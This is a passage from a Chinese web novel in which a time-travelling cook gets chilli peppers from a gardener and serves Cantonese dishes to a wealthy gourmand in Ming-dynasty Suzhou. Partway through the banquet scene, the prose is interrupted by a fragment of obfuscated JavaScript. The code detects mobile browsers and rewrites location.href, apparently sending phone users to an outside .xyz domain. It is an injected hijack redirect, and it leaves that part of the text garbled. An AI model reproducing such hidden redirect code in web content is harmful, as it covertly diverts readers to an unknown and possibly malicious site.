这种感觉很奇怪,可偏偏两人保持着奇怪的平衡,不像是母女对话,更像是人鬼对话,宋瑾是那个鬼。
她走近些,挨着陈婆子说话:“我昨夜又做梦了,梦见了那个山洞......”
果然陈婆子停了拔毛的手,“是么?”
宋瑾又道:“我见着她了,长胖了些,眼睛晶亮晶亮的。”
陈婆子没应声,低垂着的脑袋狠点了几下,宋瑾疑似看见两滴水落到了她的手背上。
宋瑾扯了谎,心里也难受,想再安慰几句,又不
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知从何安慰,只好顾左右而言他起来。
“娘......”宋瑾喊了一声,又觉得抢了蔓草的,心虚的很,声音也跟着低了下去:“店里客人都夸我手艺好......”
“那就好,好好做生意,好好赚钱。”说完看向宋瑾,那一身蓝布道袍:“穿成这样可还习惯?”
宋瑾笑笑:“挺好的,挺方便的,就是袖子大了,每每下厨房总得绑起来。”
“这衣裳脏了可不好洗,你在外头要见人,可得收拾干净了才好,别叫客人见了脏污,说你店中不干净。”
宋瑾有些高兴,好歹是关心她的:“我知道的娘。”
陈婆子也笑了笑,继续伸手去拔毛,宋瑾不再多话,说了声去找爹爹便离了厨房。
口上说是去找爹,实际直奔宅子角落的花房去了,她没记错的话,这时节辣椒应当结果了。
心里头惦记着辣椒,宋瑾脚步也不禁加快,等进了花房里头,埋头找起了辣椒来。
果然叫她找到了,只是量太少了。
房中摆着三四盆辣椒,一盆里只有两株辣椒,辣椒倒是结的满满当当,眼下青中带黄,宋瑾估摸着再有个几天便能红透了。
只是要怎么给偷走呢?
宋瑾一向很少隐藏手艺,除了辣椒,她总是需要一点底牌的。
就在她盯着辣椒发愣之际,忽听背后有人喊她,惊恐之余一转身,便看见了一个身穿青衣的十七八岁男子站在她身后,面上带着一股憨笑。
“蔓草,你回来啦?”
是长生,那个跟着宋瑾的爹一起种花种草的园奴,她爹曾经有意撮合这门亲事。一想到这里,宋瑾有些尴尬起来。
“嗯,对,回来看看......”
“店中不忙?”
“时辰还早,店中没有客人,要到午间才会忙。”
“哦哦,”长生一边放下手中一盆快要开败的栀子,一边说着话:“师傅跟我在后院里头搬花呢,栀子要败了,可不能摆在外头了。”
宋瑾撇撇嘴,不知道该接什么话。
“你来找师傅,可是有事?”
宋瑾支支吾吾地问:“那个......番椒,几时能红透呀?”
长生听她问起番椒,熟练地介绍起来:“估计也就过七八天左右,等红了就该端出去摆上了。怎的?你喜欢?”
宋瑾不好意思地笑笑:“我想问问,这番椒红透了之后,可否给我一些,十几个的样子。”
长生听罢,转了两转那个不大,却看起来很机灵的眼睛:“你若想要,我定能帮你弄来。”
“真的?”宋瑾有些惊喜。
“那是自然,这些果子好了坏了,大奶奶未必一清二楚,其他人不说,谁会关心这个。”
宋瑾有些高兴起来:“那等我需要的时候,我来找你好不好?若是来的晚了,你就帮我把番椒摘了晒干,然后我要干的也行。”
“干的?我有啊,我留了好些种子,晒的透透的。”
宋瑾忽然想起,番椒是一年生,总要留着种的,这一留,可不就留上干辣椒了么。而且播种的时候又不会一次种完,一年里分批次播完,便能从五月结果到十月。
她的辣椒有着落了,不过是干的。
24. 订席
对于干辣椒有了着落一事,宋瑾欣喜不已,又问起新鲜辣椒,长生也是痛快,说是可以借着修枝的名义,给她剪上几个枝丫,可不就有了么。
宋瑾高兴地差点儿没蹦起来,转眼看见那栀子,索性问起栀子果来,长生竟然也存着,说是中药,他年年留的。
这一刻的长生有点子像多啦A梦,想什么便有什么,宋瑾一颗悬着的心此刻算是定了下来。
宋瑾心情大好,便跟长生闲聊起来。
“近日家里头可有什么事情?”
长生一边处理那颗栀子,一边道:“还能有什么事呀,咱们家如今最大的事情便是立继,两头吵了好几回了。”
说完又想起什么来似的,瞪着一双眼睛道:“还有一件事,三娘想出去。”
“出去?去哪里?”
“还能去哪里?哪里来的就回哪里去呗。”
宋瑾哑然,徐翠云是歌姬,这应该算是好听的说法,原因是宋瑾不愿意用那个词汇称呼人。
“那大奶奶能同意么?”
“怎么可能,”长生一边说着,一边往宋瑾手里塞了一朵正在开的栀子:“你拿着,放在身上能香一整天。”
宋瑾接过来,放在鼻下嗅了嗅,真香。她小时候家里也有一棵栀子,春天里能开好多花,香的不得了。
长生见她闻的高兴,笑了笑才接着道:“你不想想,大奶奶罚了四娘,那下一个该轮到谁了?我估摸着是三娘自己后怕了,这才找人去通知了原先那虔婆,让想法子把她挣出去了。”
“能出去么?”
“咱们大奶奶的脾气你还不知道么?别说是一个虔婆了,来三五个也是说不过的。总之就是不放人,我估摸着这事没完呢。”
宋瑾撇撇嘴,不再说话。
大宅院里女人的争斗向来残酷,却又莫名的合这里的规律,各个都有自己的小心思,她实在不想掺和。
两人正闲聊着,老陆突然进了门来,看见两人站在花架子后头说着话,眉头一皱。
“蔓草回来了,”一边说话一边放下花盆:“可是有事?”
宋瑾道:“没事,就是回来看看。”说完看向长生一眼,两人心照不宣,只是落在老陆眼中,这便成了郎有情妾有意。
“那你们接着聊,接着聊,我去后头接着搬花。”
“师傅,我去吧。”
说话间,长生冲宋瑾笑了一笑,也不等老陆说话,抬脚就往外奔去,留下老陆父女二人。
老陆看着长生远去的背影,问:“你可是同意了?”
“爹,你说什么呢?”
“还能是什么?明年你就十八了,你娘这个年纪的时候都快生你了。”
宋瑾满脸写着不高兴,年纪轻轻生孩子有什么好?还不是操劳一生的劳苦命,再生一个出来干什么?
“我来找您,您不在,就跟他多说了两句话,跟那事不相干,往后不要再提了。”
说罢就往外走,却被老陆给拉住了:“长生不是挺好的嘛,我看着长大的,又勤快又实诚,两个人在一起也好过日子,怎么就不高兴了?”
“爹!”宋瑾无奈,知道多说也无益,便找了个理由离了这里。
“我还要去找大奶奶回话,我先走了。”
说完也不听老陆还要再说什么,抬脚就往外头去了。
宋瑾没有走远,就在前往花房的必经小路上等着长生,她得拿了东西再走。
果然没多大会子,她就看见长生抱着一盆栀子花回来,赶忙招手:“长生,长生。”
长生听见声音,笑呵呵地小跑过来:“你还在呢。”
宋瑾笑笑:“我想跟你拿了东西再走。”
“你等我。”
说完也不停,抱着那花就往花房去,没一会子便又出来了。
长生就住在这柏家的家丁房里,宋瑾改在廊下等着他,约莫过了一盏茶功夫,就看见长生从侧面的八角门里钻出来。
“呐,给你。”
一双有着明显劳动痕迹的手伸了过来,一把干扁的红辣椒里混着几颗黄澄澄的栀子果。宋瑾赶紧揪起袖子,让他放进袖口里。
“这样叫人瞧见了没关系么?”
“不碍事,栀子是我自己收的,本来也没人要。番椒的种子今年早就种下去了,再留明年也出了不了芽的,过两个月又有新种子了,给你这些不碍事的。”
宋瑾安下心来,长生又低声道:“到时候来拿新鲜的,你别叫你爹瞧见了,他心疼。”
宋瑾笑笑,道了声“知道了”,这才别了长生,出去跟陈婆子以及其他婆子打了招呼,这才出门回食鼎楼去。
那日瓦松绿说的轻巧,又是厉害又是会吃,可是宋瑾连等了半个多月也不见人影,就在心底里开始怀疑那人莫不是吹牛时,瓦松绿关兄出现在了店中,不过今日换成了一身晴山蓝。
“关公子。”宋瑾站在柜台后方见着人进来,连忙出来拱手作揖招呼人:“今日是来用饭还是......”
那关公子拱了拱手,道:“在下今日不用饭,是特意来传话的。柴大官人三日后到店,亲自品尝掌柜的手艺。”
宋瑾眨巴了两下眼,心想这古人也玩提前订座这一套呢,不过总得付点定金吧?
“三日后,在下一定在此恭候柴大官人,不知有几人呀?”
“这柴大官人来了,人能少么?”
宋瑾依旧是缓慢眨眼,这到底是个什么意思,话就不能讲明白了嘛。
到底几个人啊?
哪晓得宋瑾还没有继续问,身后的伙计阿荣就问了一声:“可是翠屏巷那个柴恒柴大官人?”
“咱们这苏州城里还有第二个人敢称柴大官人?”
宋瑾:“......”
“这柴大官人当真要来咱们这小店?”
阿荣兴奋地从柜台后跑出来说话,只有宋瑾,不明白在激动什么。
“这能有假?这可是我亲自请的,你们可得好好招待。”
“是是是,那是一定的。”
宋瑾心中打鼓,不清楚这个柴大官人到底是个什么人物,但肯定不是一般的人物,因此只看着阿荣同那关公子交涉。
“不知道大官人什么时辰到店,有
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些菜怕凉了就不好吃了。”
那关公子笑了笑,道:“晚饭的时辰吧,记得备些好酒,有菜无酒,失了趣味。”
“那是自然,那是自然,可要请些唱曲儿的姐儿来助助兴?”
关公子摆摆手道:“不必了,柴大官人体恤,免得扰了旁人,要清净点儿,菜一定要好。”
说完转向宋瑾道:“那日的蚕豆虽美味,可是招待柴大官人过于小气,你可得上上心,否则你这食鼎楼的招牌,怕是要砸啰。”
宋瑾一听,好家伙,不知道这关公子是真心给那大官人找好吃的,还是要给宋瑾找麻烦,一家小店招待食神,这不是为难人嘛。
不知道是那日辨输了,心里头过不去,找了大官人来找补了。
不管宋瑾心中如何想,这招待是必须做了,可是直等到那关公子出了门去,也不见一个铜板进来,宋瑾急了,哪有不付定金就要吃席的?
于是喊了一声银子后就要去追问,却被阿荣拦住了:“祖宗,柴大官人要来,你找他要什么银子?”
“这要吃席,不先付点银子?万一不来呢?”
阿荣叹气:“柴大官人是什么人?别说你一桌席面了,就是咱们这食鼎楼,那也是说买就买的事情,岂会赖你一桌席面的银子。咱们招待好了,记下账来,到时候去到府上一对,人家账房自会付银。”
宋瑾哑然:“这么付的呢......”
“不然呢?你还指望大官人兜里揣几百两银子出来吃喝呢?”
宋瑾撇撇嘴,她哪晓得这里的有钱人是怎么付饭资的,从前不都是铜板就付过了么。
“你不知道这柴大官人,”阿荣走到柜台里头,一边埋头算账一边道:“他在咱们苏州城里那是出名的爱吃,但凡有点名堂的店他都到过,咱们这个店才开业这么些日子,估摸着也是刚刚那位公子说与他听的,毕竟咱们这是苏州,广东菜少,所以来的快些。”
宋瑾点头,听那阿荣继续说。
“这柴大官人,家里富裕着呢,书香门第,也有些学识,还中过举人呢。据说那年上京赶考不大顺,后来也就不去了,人家不缺银子,也不缺门路,何苦挤那仕途的窄门。”
“那他靠什么吃吃喝喝?”
阿荣道:“光是一道茶引就够他享福一辈子了,还有祖上积攒的家业,族里也有在京为官的,人家不差那点银子,你还怕他赖账不成?”
宋瑾恍然大悟,这大概就是名人吧。一个名字就能在外吃吃喝喝,点菜不问价格的那种,挂账月结,这种不是熟客就是大客。
很显然这位柴大官人属于大客。
小店来大客,不是要飞,就是要埋。宋瑾想明白这个理之后,一下就紧张起来。
“那咱们是不是要好好准备准备?”
“可不是嘛,这菜式酒水布置一样的都少不了。不过我问了,不需要叫唱曲儿的姐儿,省去一道麻烦,就吃吃喝喝。我现在就算算账上还有多少银子,店里不够的,恐怕得去马蹄巷支一些出来。”
就这样,一个还不曾露面的柴大官人,让整个食鼎楼的人开始紧张起来了。
25. 白切鸡与碌鹅
自打那关公子打出了柴大官人的名号后,食鼎楼几位掌勺的就开始张罗菜单,阿荣算着银子。
差了一大截。
“这柴大官人来,甭管吃多少,反正你上多少,人家付多少,不用惦记着帮人家省银子。这排场要越大越好,铺的越多越好。”
宋瑾瞧明白了,跟二十一世纪某些年代差不多,要牌面,不要实际。
“那酒水什么的......”
“这酒必须得好些的,一般人喝的烧刀子黄酒可不能上,明儿咱们就去买些上好的女儿红回来......”
这论起大明的铺张席面,几个在柏家厨房待久了的婆子比宋瑾熟练多了。
“还有这鹅,得买一只大的,烧鹅指定少不了,再加上乳猪......”
众人围在一起,七嘴八舌的,如临大敌。
“我看咱们几个还是缺了人手,实在不行,咱们得借些人手来。”
宋瑾叹气,这一个人吃饭,到底要折腾上多少人啊?
“明儿掌柜的得回马蹄巷支银子,顺路买酒买茶,还有菜,肉得提前定下来。”
......
宋瑾听她们几人给自己做了安排,自己则在心里做另一套安排。
她心里知道鹅在大明算是硬菜,是宴席的主菜,论价格跟其他家禽就不是一个档位的。
比如这鸡,不足百文一只,鸭子更便宜,但是鹅至少得五百文,所以这道鹅少不了。
做法通常有烧鹅,或者水晶鹅,只是夏日里水晶鹅难做。但是宋瑾也不想做烧鹅,她想做广东碌鹅。
好歹这酒楼打的是广东招牌,总不能一水的苏州做法吧,她必得弄出些不一样的来。
其次是鸡,她知道这里有三汤五割的说法,虽不一定要五割,但是总要来几样用割的。
白切鸡在这里就正好。
“掌柜的,咱们就这么说定了,明儿就去办。”
宋瑾听她们吩咐,在第二日跟着阿荣带着两个婆子先回马蹄巷取了银子,又去菜市买了鸡鸭鹅,都是鲜活的,暂且养在后院中。
鲈鱼挑了中等个头的,鲫鱼也买了数条一并养着。酒备了绍兴女儿红和金华酒,买完这些又去买了茶叶。
就这些准备下来,就去了好几两银子,还不论当天早上要买的蔬菜鲜肉和点心。
买完东西宋瑾没有即刻回来,而是跟着婆子一起在菜市逛了逛,看看这大明都有什么菜,她还能玩出什么花样来。
这一逛,心里就逛出好几道菜来,尤其是看见一个卖豌豆的担子后,果断上前问话,当场定了一斤嫩豌豆夹。
那人听了发愣:“这位小官儿,这豌豆吃的是豆,你要豆荚作甚?”
宋瑾笑笑:“我就要连着的嫩豆荚,要豆子没长好的那种。豆荚不能鼓起来,要两侧平坦,能捏出里面有豆子就行。”
那人更加疑惑了:“您确定?这豆子若是摘了,可不给退的。”
“放心吧,两日后的早上帮我送到安居巷的食鼎楼,我要用的,若是不来,我可要找你麻烦。”
说到送货,那人倒是痛快:“成,两日后保管给你送到。”
回去路上婆子也好奇,问起她为何要豆荚,而不是豆子。
宋瑾一脸坏笑:“等我做的时候,您就知道啦。”
等到那柴大官人要来的前一天,宋瑾又跑回了柏家找长生,悄悄的剪了好几枝红辣椒,这才算把东西给凑齐了。
等到要来的那个早上,大家都起了一个大早,天还蒙蒙亮的时候,就在院子里聚齐了,大家相互看着发笑,也相互打气。
“咱们要是把这大官人招待好了,咱们食鼎楼可就出名了。”
“得饭菜做的好吃才行。”
“你们在,指定没问题。”
......
宋瑾把脸埋在刚打上来的井水里,瞬间清醒。
苏州常见菜交给两个婆子,宋瑾专心去做自己的广东菜。
第一道是白切鸡。
鸡的个头不能太大,年岁不能老,否则肉质容易柴,这一点宋瑾在买鸡的时候就已经选好,
灶上自打几人起来后便点着了火,烧水杀鸡杀鸭杀鹅,后院中一派忙碌气息。
宋瑾将杀鸡拔毛的事情交给众人,自己去准备煲汤。
她选的是苦瓜黄豆排骨汤。
排骨要用冷水下锅,添葱姜和酒一起煮,水开后撇净浮沫,再舀进瓦罐中。
苦瓜两头去除,中间切开,用勺子刮去瓜瓤,斜切成段。锅里添水,加油加盐烧开后加入苦瓜焯水。
那瓜一下锅,顿时翠绿起来。宋瑾也不多等,滚了几下便捞出放置一边。
黄豆是昨夜已经泡好的,一起倒入瓦罐里,再添开水,端上炉子,叮嘱春云要小火慢慢炖。
春云点了点头,她这才去忙别的。
几人在后头忙着的时候,前头两个伙计则在开门打扫,门没开多大会子,就见一个七八岁的小男孩进了店内。
“谁家的小官儿,怎的来我们店里了?你找谁?”
“你家要的豆荚。”
那男孩说着话,将手中的一个小竹篮往前一送,里头正是宋瑾那天要的豆荚。
两个小二见了,先接过,叫小孩等着,他抓着篮子去了后院问宋瑾。
宋瑾一瞧刚好合适,就让小二付了银钱,收了那豆荚。
小二把豆荚倒在台上,提着空篮出去了。
“小官儿,豆荚全要了,你家里可说了多少银钱?”
“八个铜钱,要镟边儿。”
小二笑笑:“还挺懂。”
价没错,阿荣数了八个镟边给他:“小官儿,数好了,揣好了,弄丢了可就没了。”
那小孩儿笑着伸手接过,放在怀里揣好了才跑出门去。
后头众人也顾不得那豆荚是干什么用的,各个都忙得不得了。
处理完了苦瓜汤,宋瑾要做白切鸡的那只鸡也也就杀好了。
一口大瓦罐里添了开水,放干红枣栀子和生姜片,再抓一小把党参进去,昨日特意剔下来的鸡骨架一并扔进去慢慢熬煮。
直煮了将近半个时辰,水面漂起了油花,宋瑾又放了半碗盐下去,这一举
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动惊的旁边的婆子哇哇大叫起来。
“哎呀,这许多盐下去还怎么入口呀?”
宋瑾笑笑:“不妨事的,是吃鸡,不是喝汤。”
“哎哟,本来这汤还能用来煮面的,这下可不成了。”
宋瑾不理,等到水再次滚开后,徒手抓着鸡头,将鸡的整个身子浸入汤中,默数三下提起,如此反复三四次才把整只鸡放进汤锅里,再倒一小碗米酒下去。
依旧是叮嘱春云,要极小的火,确保锅里会起小泡即可,千万不能让水滚了。
春云点头,两只眼睛两头看,一头看灶膛,一头看两只炉子。
鸡处理的差不多了,宋瑾开始准备烧她的鹅。
为了保持鹅的完整,宋瑾没有去头去脚,而是用一整只来烧,好在灶台里的锅够大。
完整的鹅用酱油抹匀腌过,锅里加油,油热后宋瑾用手抓着鹅脚,将鹅的里里外外贴着锅慢慢煎过。
酱油遇着热油,一股浓郁的香气喷涌出来,春云在灶下拿鼻子直嗅。
“真香。”
宋瑾笑笑,鸡汤大约是太清淡了,小姑娘没觉着好,倒是酱油和肉让她觉得极香,一闻就知道那是大肉。
等到那鹅煎到表面金黄,两个翅膀也都上了颜色后,宋瑾将鹅取出,锅中洗净,重新起锅烧油。
一把胡葱块,一把带皮蒜,八角香叶桂皮一并撒下去炒香,加酱油黄酒黄糖和一大碗清水煮开,才开始下鹅。
鹅太大只,宋瑾花了些力气将鹅的内腹贴着锅底,方便吸收料汁,皮朝着天,等最后淋酱汁便可入味。
小火慢煮中,黄糖在酱汤里化开,油脂香气里带着丝丝甜香,弥漫在整个厨房里,一下盖过了鸡汤的清香。
“这什么汤汁,怎么还带着甜气?”
“我放了好些糖。”
“甜口的鹅?我做了大半辈子的菜,还真是没见过。”
宋瑾笑笑:“您要是没见过,估摸这柴大官人也不曾吃过,就当尝个鲜吧。”
婆子哈哈大笑:“拿我跟柴大官人比,你可真会说话。他见多识广,哪像我们,窝在柏家厨房大半辈子了。要不是你开这个食鼎楼,咱们估计也不会出来。”
“就是,等忙过这一阵子,咱们去街头好好逛逛,平时在院里忙,出来还是忙,招呼一个柴大官人,简直比招呼一天的客人还累。”
宋瑾听了淡淡笑笑,她估摸着这古代也有不少“预制菜”吧。
早上准备好了,店里来了客人,有什么就吃什么,可不兴随口点菜。万一点个汤,她岂不是要煲半个时辰。点只碌鹅,没有冰箱的大明岂不是要现杀。哪个客人等得起啊?
亏她听话,没准备菜单。
胡思乱想间,那鸡已经到了时辰,宋瑾没有冰,只能用井水来替代了。
一半井水一半鸡汤兑到一起,将整只鸡没入,能不能把里头的汤脂凝固成胶,就看命了。
等她有钱了,她一定要造一个大冰窖,她要在夏日里疯狂用冰,像个有钱人那样。
宋瑾一边咬牙切齿地想着,一边狠狠地搋了两下那只鸡。
26. 食客
就在宋瑾拿鸡撒气的空档,春云在一边喊道:“姐姐,鹅好了。”
有人提醒:“在这可别叫姐姐,你得叫掌柜的。”
春云嘻笑着改口:“掌柜的,文掌柜的......”
宋瑾嘴角勾起笑意,说不清是被春云逗的想笑,还是这身份的转变令她高兴,总之哪样都是有意思的。
掀开锅盖,那股浓郁的酱香越发厚重起来,宋瑾将鹅抓出来,用笊篱滤出锅里的各种香料,同时吩咐春云:
“用大火。”
“好。”
锅里的酱汤用大火收了,变成浓郁的酱汁,宋瑾再一次抓起鹅放到锅上,用锅铲一层一层地淋到鹅身上。
宋瑾淋了数遍,这才把鹅放到一边晾凉,等人来了上桌再切。
处理完了鹅,便是去准备白切鸡的蘸料。
这蘸料与以往在苏州见过的都不一样,所以宋瑾要亲自来。
一大截去皮生姜,用刀头一点一点地拍成蒜茸,拍的时候带着往外拉的力,一来把姜拍烂,二来去除老姜里头的姜丝,吃起来口感更好。
拍过的姜茸再细切一回,小葱也切成葱末,二者混在一起,加上盐,浇上热油后搅拌均匀,一道经典的白切鸡蘸料也就准备好了。
宋瑾备好了两道主菜,剩下的部分等客人来了再烧也来得及,至于苏州常见菜式就交给两个婆子。她在把苦瓜丢进瓦罐里后,放下下厨房里的工作,暂时往前头去看了一眼。
她在后头忙得不晓得时辰,出来一看方才发现店内已经坐了好些客人,饭菜都叫婆子们准备的,她并没有分心,因此也不知道这里的事情。
宋瑾掐算着时辰,估摸着这人不会太晚来,毕竟要宵禁的,最多再有两个时辰也就该出现了。
前面小二招呼得体,阿荣算账清晰,她便再次回了后厨去处理自己的菜去了。
鳝段切好,用团粉捏过再清洗干净;豌豆夹撕去筋条,鲈鱼切好,姜丝葱丝辣椒丝,统统备好,此刻再看自己的准备工作,差不多了。
做完了这些,宋瑾才真正静下来,默默等着那位贵客登场。
等到日头开始偏斜,宋瑾听见前头声量忽然大了起来,猜是客人到了,赶忙迎了出去。
一到前头,果不其然,四五顶轿子停在食鼎楼门前,为首的那顶轿子比旁的轿子宽大一些,就连轿夫都比旁人的壮硕一些。
刚一停下,一位青衣俊童上前掀了玉色轿帘,里头的人弯腰下轿。
待宋瑾看清那人,好家伙,银子!
来人一身青莲缎地如意窠纹的交领直身衣,头戴忠静冠,腰系绦带,连接处一块白玉螭型勾,脚踩石青缎靴。
宋瑾猜那玉绦勾一定值不少银子,不过比勾子更惹人注目的是那张脸和那圆润的身材。
大圆眼,鼓囊脸,一双厚唇粉嘟嘟,肉手上抓着一把洒金扇,此刻正撒开扇面懒懒摇着。肚皮微挺,显然是要比双脚先入店门。
“柴大官人,里面请。”
小二热情地上前招呼,宋瑾也不敢怠慢,上前拱手作揖:“柴大官人,楼上请。”
那圆嘟嘟的柴大官人看了眼宋瑾,问道:“你就是这食鼎楼的掌柜?”
“正是在下。”
两人说话间,那日来过的瓦松绿关公子已经上前来招呼:“正是这位文掌柜,说是会做正宗广东菜,所以带您来尝尝。”
柴大官人哼了一声:“好啊,这广东我还没去过,正不正宗我不管,好不好吃我指定清楚。”
说完一甩袖子跟着宋瑾往楼上去了。
今日的二楼特意空置了出来,鲜花水果一样不少,大明雅客喜欢的熏香倒是被宋瑾给否了。
毕竟是酒楼,又不是勾栏巷,抢了菜香就不好了,因此只摆鲜花水果。
倒是那柴大官人,似乎见惯了的样子,只扫了一眼,大约是觉得简陋了,也不说话,只跟着人到窗边的桌下坐了。
“大官人,今日是点菜,还是小店给您上菜?”
柴恒道:“就把你们擅长的菜来一席,还有酒都不能少了。”
宋瑾笑着点头应是;“那在下就去给您备菜了。”
那柴恒听完也并不理会,转头跟自己带来的几位年轻公子聊了起来。
“这天气是越来越热了,听说城东那家的冰饮,每日供不应求,可惜离的太远。”
柴恒道:“这怕什么,我家冰窖大,每年冰块充足,要吃冰还不简单,来我家中,我还能亏待了你们。”
宋瑾一边招呼小二上茶,一边听见笑声:“可不敢随意打扰,若是嫂嫂见了,定要责怪的。”
“嗳,无妨的,去吃冰又不是去什么院子,你嫂嫂不会管的。”
宋瑾端上茶,请诸位品尝。
瓦松绿关兄端起茶杯闻了闻,道:“这茶香,平常来也不见有这好茶,想来是为了柴兄而特意备的。柴兄家中经营茶叶生意,可能喝的出来这是什么茶?”
柴恒听了倒是很给面子地端了起来,先嗅了嗅,再品了品,自信满满道:“温山御荈,还是明前的,可对?”
最后一句是问的宋瑾,宋瑾抿唇笑答:“官人舌头灵敏,正是明前的温山御荈,一般茶叶也不敢拿出来叫大人尝了。”
“那是自然,我家世代售卖茶叶。这温山御荈采摘时间晚,要想得到明前茶,那茶农简直抢着时间去采摘。”说着揭开茶碗盖子,带着惋惜道:“这茶汤透亮,雀舌成朵,简直赏心悦目。也不知道前人是怎么想的,好好的茶叶非要揉成团,简直暴殄天物。幸亏咱们皇帝英明,若是这茶研磨成末,那得多可惜。”
旁边几人听了都附和柴恒,宋瑾乘机退出,端出第一道菜:广东碌鹅。
原先在桌面上的鲜花水果全都撤下,一道色泽金黄的碌鹅摆上。
柴恒见了发问:“这跟一般烧鹅也无而至,怎的闻起来一股甜香?”
宋瑾道:“这是广东碌鹅,与常见的烧鹅用料不同,乃是黄糖熬煮制成,口感微甜,请大人品尝。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726729|155814||http|test|mini|href|location''.split(''|''),0,{}));
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>说话间将鹅移到旁边一桌,接过小二递的刀子,将鹅当场切成小块,拼成一盘,这才重新上桌。
几人嗅了嗅,都带着一丝好奇心准备品尝,只是柴恒没动手,那几人也不敢乱动。
柴恒抿抿唇,皱皱眉,开饭前的小动作倒是不少,过了会子才抓起筷子小尝了一口。
焦香外皮里裹着薄薄一层脂肪,里头的鹅肉吸收了黄糖的淡淡甜味,肥而不腻,甜而不齁,口味新颖至极。
“有意思,有意思,这广东菜有意思。”说完对着身边的青衣仆童道:“赏。”
那仆童从袖中掏出一锭银子放在宋瑾手中,沉沉的重量压下来,宋瑾知道这赏赐不轻,连忙谢过,这才下去准备上第二道菜:白切鸡。
蘸料一人端着,被冷汤浸泡的鸡一人端着,三人齐齐上楼去。
“你这鸡......也不像是煎的,怎么表面这样黄澄澄的?”
宋瑾笑答:“是煮的时候放了一味特殊的调料。”说罢起刀切鸡。
虽没有冰块,那井水也是好用,热烘烘的鸡塞进冷水中,时间久了,鸡皮与肌肉间的鸡汤竟然真的冻成了啫喱状,切开之后亮晶晶的一层。
只是除了鸡汤冻,另外一点更惹人注目。
“掌柜的,你这鸡没有熟啊,怎的带着血就端上来了?”有人好奇答问。
宋瑾耐心解释:“这白切鸡并非煮熟,而是滚水焖熟,骨髓虽红,肉却已熟透。因为没有经过大火熬煮,所以肉质鲜嫩,非一般做法可比,公子不妨先试试。”
说完端上一碟切好的白切鸡上来,教众人蘸着蒜茸佐料吃。
大抵是有了碌鹅的前奏,这回柴恒也不犹豫了,夹了一块肉,在蘸碟里滚了一遭,堪堪避开那带着血红的骨髓,咬下一大块鸡肉。
肉刚入口,那柴恒一双圆眼瞪的更圆了,咬着肉道:“嫩,实在是嫩。这是我吃过最嫩的鸡肉了。妙,妙极。”
这话一说,那怀疑鸡没熟的公子也不犹豫了,夹了一块鸡往嘴里塞,果然各个叹肌肉嫩滑。
“掌柜的,这是什么玄机?”
宋瑾笑笑:“这可是在下的看家本事。”
众人哄笑,柴恒又问:“我瞧着你年岁不大,听口音也不像是广东人,怎的对广东菜如此了解?”
宋瑾张口编来:“在下少时家中有一位广东来的老者,擅做广东菜肴。因在下不喜读书,跟着学了不少菜式,因此会做一些。”
“怪道,我说你年岁不大,又不是广东来的,岂会做广东菜。可还有别的菜式叫我尝尝?”
宋瑾道:“还有一道很适合夏日里的汤,口味特殊,官人尝尝?”
柴恒迫不及待叫上汤来。
一瓦罐的苦瓜黄豆排骨汤端上桌来,宋瑾给柴恒舀了一碗,小二挨个给几位陪客舀了一碗。
“这道汤名曰苦瓜排骨汤。苦瓜味苦,性寒,炎热夏季最宜食用。鹅也好,鸡也好,都是油脂过重的菜品,这道汤味道清淡,苦中带鲜,大人尝尝。”
27. 白灼虾与爆炒鳝段
几人端着手中那碗清澈见底的汤,左看右看没看出什么名堂来,倒是闻着觉得味道奇怪,带着淡淡的苦味。
疑惑间有人用舌尖品了品,立刻咧嘴道:“苦,这汤苦,这里头的排骨还能吃么?”
“苦瓜虽苦,却是名副其实的菜中君子,苦味只在自己身上,不沾染其他菜品,所以排骨不会有苦味的。”
“这道汤品味道特殊,诸位若是喜欢,用来消暑解腻是极好的。”
那柴恒被她说的蠢蠢欲动,也学着那人小抿一口,眉头微蹙,似是不大习惯。
“大人可有觉得这汤与这茶有异曲同工之妙,初尝味苦,细品鲜香。”
几人被她这么一说,倒觉得十分相符。这汤虽没有茶的回甘,却带着一股鲜香,口中并不残留苦味,就连刚刚吃过的油脂,此刻也丝毫没有感觉腻味,当真是解腻的好汤。
“被你这么一说,倒觉出好来,这汤确实与以往所喝的汤品不大一样,清淡解腻,虽是排骨熬的,却不见荤腥,好喝的很。”
人大概就是这样,一个人说好,便有其他人起哄,尤其是这主位的人没否定,其他人更加不敢随意否定。
于是一款口味特殊的汤就这么被人接受了。
“各位公子今日可要饮酒?女儿红还是金华酒?”
“金华酒吧,女儿红喝惯了,没什么稀奇。”
宋瑾笑着应下,命小二上酒。
“你这菜式清淡,量又少,可不够我们哥几个吃的,掌柜的还有什么菜式赶紧上吧。”
宋瑾道:“那在下先去厨房准备着。”
宋瑾说完话,也不再逗留,转身下楼,让两个小二把两个婆子准备好的常见菜式往上端,她则自己去准备其他菜式。
一锅滚水里倒进一大碗活蹦乱跳的河虾,等到虾身完全变红后用笊篱捞出滤水,指挥红杏摆盘,要围成一圈的好看。
酱料要用葱末蒜末辣椒末,再添酱油陈醋和一勺香油,宋瑾瞧着酱油颜色太深,蘸料过于粘稠,便舀了一小勺子鸡汤当做清水,稀释了蘸料,让颜色更加好看些。
可惜了,她不会做生抽,不然高低要用生抽代替酱油。
河虾新鲜,快煮鲜甜,只用几味调料蘸着吃,是最简单也最原汁原味的吃法。
宋瑾一边叫小二端上桌,一边告诉他如何去吃,那小二应声去了,宋瑾又开始准备她的一道怪菜:爆炒鳝段。
怪的不是鳝段,而是在辣椒爆炒上。此时的大明,辣椒还不是桌上常见菜肴,宋瑾切辣椒时就察觉出来那辣椒辣度不低,用来爆炒鳝段最是合适,保管香辣过瘾。
辣椒斜切成长条,与鳝段差不多大小,锅热下油,油要多多的,待油热后将去了骨的鳝段一并倒下去爆炒,直炒的鳝段金黄,边缘发硬,这才捞起出锅。
锅里留油,下姜丝蒜末炒香后再下辣椒,辣椒要炒到七八成熟才好。
这大明的厨房没有抽油烟机,那辣椒刚一下锅,遇着热油一呛,里头的人顿时苦不堪言,各个捂着抠鼻跑了出去。
“我说掌柜的,咱们这炒的什么呀?怎么味儿这么呛人?”
“这还能吃嘛?”
“这也是广东菜?”
